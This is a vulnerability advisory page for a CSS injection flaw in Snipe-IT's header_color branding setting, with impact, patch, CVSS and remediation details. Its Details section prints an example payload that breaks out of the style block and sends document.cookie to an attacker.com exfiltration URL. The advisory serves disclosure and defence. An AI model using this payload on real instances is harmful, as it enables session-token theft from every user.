CVE-2026-55481 — Vulnerability in snipe/snipe-it — CVE Details
Snipe-IT has CSS Injection via `header_color` Setting
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.32%). Schedule for your next planned update.
Does your project use an affected snipe/snipe-it version?
Paste your composer.lock to check it for CVE-2026-55481 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Impact
Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.
Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.
Details
The header_color setting (and related color settings such as nav_color and link_color) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:
--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};
Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the header_color value to something like:
#fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {
This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.
Patches
Patched in https://github.com/grokability/snipe-it/pull/19097
Workarounds
Enable CSP in your .env file.
Advisory Timeline
- First published August 28, 2026 (90 days ago).
- Last revised August 28, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "snipe/snipe-it:^8.6.2"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| snipe/snipe-it Packagist · Affected: 3.2.0, v0.1.0, v0.1.1, v0.1.2 (+274 more) | 8.6.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
References
- https://github.com/grokability/snipe-it/security/advisories/GHSA-w7qw-5wfv-gwx9WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-55481ADVISORY
- https://github.com/grokability/snipe-it/pull/19097WEB
- https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40WEB
- https://github.com/grokability/snipe-itPACKAGE
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2WEB
Frequently Asked Questions
- What is CVE-2026-55481?
- Snipe-IT has CSS Injection via `header_color` Setting. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 8.1/10).
- How do I check if my project is affected by CVE-2026-55481?
- CVE-2026-55481 affects snipe/snipe-it. It has a 0.3% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-55481 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 16.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-63498HIGH
Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API
- CVE-2025-15602HIGH
Snipe-IT has sensitive user attributes related to account privileges that are insufficiently protected against mass assignment
- CVE-2026-44832HIGH
Snipe-IT has Privilege Escalation via API Permissions Assignment
- CVE-2026-63493HIGH
Snipe-IT: 2FA bypass via the API token flow
- CVE-2026-62368HIGH
Snipe-IT: Stored XSS via Custom Field name in asset-list column headers
- CVE-2026-54329HIGH
Snipe-IT API Vulnerable to Cross-Tenant Accessory Injection
- CVE-2026-61807MEDIUM
Snipe-IT: Stored DOM XSS via table selected-count IDs
- CVE-2026-55466MEDIUM
Snipe-IT vulnerable to stored XSS via inline-served attachment